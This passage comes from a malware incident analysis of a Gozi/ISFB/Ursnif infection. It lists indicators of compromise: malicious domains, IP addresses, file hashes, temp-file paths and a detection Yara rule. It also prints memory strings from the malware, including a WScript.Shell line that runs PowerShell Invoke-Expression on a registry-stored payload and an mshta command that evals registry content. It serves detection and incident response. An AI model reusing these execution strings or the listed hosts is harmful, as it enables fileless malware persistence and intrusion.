- hxxp://wr29shaniakobe.xyz/images/KgSVEdSH5Eyd/928tPhLrFBG/I\_2BLswt7lmX28/ADJEcD5UjUOZhYctrV4bT/o5q9iUNVEelnzh4R/MKQiDUvbsFTvxdS/2LPJr30nPxlZvDIOdA/iQ\_2B4NKW/waRvjVntY3qhkA7sxHvL/Lc7\_2BqzXXyj8Gn/RzTNh.avi
Domains
The following domains are related to the malware and can be searched for e.g. in DNS logs, proxy logs and packet string data:
- arpersenoa.com
- reejosephiney.top
- www.reejosephiney.top
- wr29shaniakobe.xyz
- zkeaganarlie.xyz
- laogxsc3377allison.club
IP Addresses
The following IP addresses are related to the domains from the previous section and have been resolved with the DNS server 8.8.8.8:
- reejosephiney.top
- 162.255.119.184
- www.reejosephiney.top
- 198.54.117.210
- 198.54.117.211
- 198.54.117.212
- 198.54.117.215
- 198.54.117.216
- 198.54.117.217
- 198.54.117.218
- wr29shaniakobe.xyz (The following IPs are DNS sinkholes of Abuse.ch):
- 192.42.116.41
- 192.42.119.41
- laogxsc3377allison.club
- 194.87.101.150
- arpersenoa.com
- 45.10.88.81
Strings
The following strings have been extracted from memory and can be used for a live identification, e.g. with memory forensics tools or Yara (see also the Yara rule later on):
- 10291029JSJUYNHG
- version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
- %S=new ActiveXObject(‘WScript.Shell’);%S.Run(‘powershell.exe Invoke-Expression ([System.Text.Encoding]::ASCII.GetString((Get-ItemProperty “%S:\%S”).%s))’,0,0);
- mshta “about:<hta:application><script>moveTo(-898,-989);resizeTo(1,1);eval(new ActiveXObject(‘WScript.Shell’).RegRead(‘%S\\%S\\%s’));if(!window.flag)close()</script>”
SHA256 Hashes of malicious files
The word document:
- 53f0961ceab42d676bc575def7272d7c04e9106e87c300be39fae74fadb10ee4
Unique SHA256 hashes of downloaded a4hAe8Oq6.exe samples. Note that these are probably not really reliable in identifying this kind of malware (see here for an explanation):
- 617974db1e3786cdcc33b57fe387ab262bbfbeb47a5a20818dcd4ab2ecffc57a
- a5c58b5cc0a2fcd5b02bc17147515ab243e325ffd5a7f1ba603f7ea7e65f6331
- dd46d8ec4d4a52af0bc36e6c3720938b54f6c7151298fe1555009c2679ab3a1d
- 9c60d945e7684d4f28b160cf4352e276e445119e37c5e5586320bc4f31fd8ccc
- a87b328690898f9bf523bda271e0d2e24835d06e2c5457dfb05362767ff39b38
- f2e5aceed66d1d7e3c16c3aaef81c044da91f12003d7c5280a0f37eefde9ac64
Filesystem
The following filesystem paths can still contain traces of the malware:
- %temp%\aubR9KfZ.xsl
- %temp%\a4hAe8Oq6.exe
Yara Rules
In the context of this analysis, the following Yara rule has been created (this rule can also be downloaded here):
rule a4hAe8Oq6_exe {
meta:
description = "Contains some IoCs for the malware sample with the following hashes. This rule can be used on proxy/dns logs and memory/process dumps."
sha256_1 = "617974db1e3786cdcc33b57fe387ab262bbfbeb47a5a20818dcd4ab2ecffc57a"
sha256_2 = "a5c58b5cc0a2fcd5b02bc17147515ab243e325ffd5a7f1ba603f7ea7e65f6331"
sha256_3 = "dd46d8ec4d4a52af0bc36e6c3720938b54f6c7151298fe1555009c2679ab3a1d"
sha256_4 = "9c60d945e7684d4f28b160cf4352e276e445119e37c5e5586320bc4f31fd8ccc"
sha256_5 = "a87b328690898f9bf523bda271e0d2e24835d06e2c5457dfb05362767ff39b38"
sha256_6 = "f2e5aceed66d1d7e3c16c3aaef81c044da91f12003d7c5280a0f37eefde9ac64"
family = "Gozi/ISFB/Dreambot/Ursnif"
author = "Frank Block"
date = "2019-10-29"
reference = "https://insinuator.net/2019/10/dissection-of-an-incident-part-2/"
strings:
$string1 = "45.10.88.81" ascii wide nocase
$string2 = "77.87.212.52" ascii wide nocase
$string3 = "162.255.119.184" ascii wide nocase
$string4 = "198.54.117.210" ascii wide nocase
$string5 = "198.54.117.211" ascii wide nocase
$string6 = "198.54.117.212" ascii wide nocase
$string7 = "198.54.117.215" ascii wide nocase
$string8 = "198.54.117.216" ascii wide nocase
$string9 = "198.54.117.217" ascii wide nocase
$string10 = "198.54.117.218" ascii wide nocase
$string11 = "194.87.101.150" ascii wide nocase
$string12 = "a4hAe8Oq6.exe" ascii wide nocase
$string13 = "reejosephiney.top" ascii wide nocase
$string14 = "www.reejosephiney.top" ascii wide nocase
$string15 = "wr29shaniakobe.xyz" ascii wide nocase
$string16 = "zkeaganarlie.xyz" ascii wide nocase
$string17 = "laogxsc3377allison.club" ascii wide nocase
$string18 = "10291029JSJUYNHG" ascii wide nocase
$string19 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s" ascii wide nocase
$string20 = "%S=new ActiveXObject('WScript.Shell');%S.Run('powershell.exe Invoke-Expression ([System.Text.Encoding]::ASCII.GetString((Get-ItemProperty \"%S:\\%S\").%s))',0,0);" ascii wide nocase
$string21 = "mshta \"about:
condition:
any of them
}
\x00
Frank